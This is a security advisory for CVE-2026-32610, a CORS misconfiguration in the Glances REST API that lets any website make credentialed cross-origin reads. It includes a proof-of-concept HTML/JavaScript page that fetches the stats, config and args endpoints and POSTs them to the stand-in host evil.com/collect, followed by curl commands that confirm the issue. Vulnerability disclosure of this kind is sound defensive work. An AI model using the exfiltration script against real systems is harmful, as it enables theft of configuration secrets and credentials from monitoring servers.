CVE-2026-32610

The Glances REST API web server ships with a default CORS configuration that sets allow_origins=["*"] combined with allow_credentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal * wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

Details

The CORS configuration is set up in glances/outputs/glances_restful_api.py lines 290-299:

# glances/outputs/glances_restful_api.py:290-299
# FastAPI Enable CORS
# https://fastapi.tiangolo.com/tutorial/cors/
self._app.add_middleware(
    CORSMiddleware,
    # Related to https://github.com/nicolargo/glances/issues/2812
    allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)

The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:

• cors_origins = ["*"] (all origins)
• cors_credentials = True (allow credentials)

Per the CORS specification, browsers should not send credentials when Access-Control-Allow-Origin: *. However, Starlette's CORSMiddleware implements a workaround: when allow_origins=["*"] and allow_credentials=True, the middleware reflects the requesting origin in the response header instead of using *. This means:

1. Attacker hosts https://evil.com/steal.html
2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page
3. JavaScript on evil.com makes fetch("http://glances-server:61208/api/4/config", {credentials: "include"})
4. The browser sends the stored Basic Auth credentials
5. Starlette responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true
6. The browser allows JavaScript to read the response
7. Attacker exfiltrates the configuration including sensitive data

When Glances is running without --password (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.

PoC

Step 1: Attacker hosts a malicious page.

<!-- steal-glances.html hosted on attacker's server -->
<script>
async function steal() {
  const target = "http://glances-server:61208";
  
  // Steal system stats (processes, CPU, memory, network, disk)
  const all = await fetch(target + "/api/4/all", {credentials: "include"});
  const allData = await all.json();
  
  // Steal configuration (may contain database passwords, API keys)
  const config = await fetch(target + "/api/4/config", {credentials: "include"});
  const configData = await config.json();
  
  // Steal command line args (contains password hash, SNMP creds)
  const args = await fetch(target + "/api/4/args", {credentials: "include"});
  const argsData = await args.json();
  
  // Exfiltrate to attacker
  fetch("https://evil.com/collect", {
    method: "POST",
    body: JSON.stringify({all: allData, config: configData, args: argsData})
  });
}
steal();
</script>

Step 2: Verify CORS headers (without auth, default Glances).

# Start Glances web server (default, no password)
glances -w

# From a different origin, verify the CORS headers
curl -s -D- -o /dev/null \
  -H "Origin: https://evil.com" \
  http://localhost:61208/api/4/all

# Expected response headers include:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

Step 3: Verify data theft (without auth).

curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20
curl -s http://localhost:61208/api/4/config | python -m json.tool
curl -s http://localhost:61208/api/4/args | python -m json.tool

Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.

# Start Glances with password
glances -w --password

# Preflight request with credentials
curl -s -D- -o /dev/null \
  -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  http://localhost:61208/api/4/all

# Expected: Access-Control-Allow-Origin: https://evil.com
# Expected: Access-Control-Allow-Credentials: true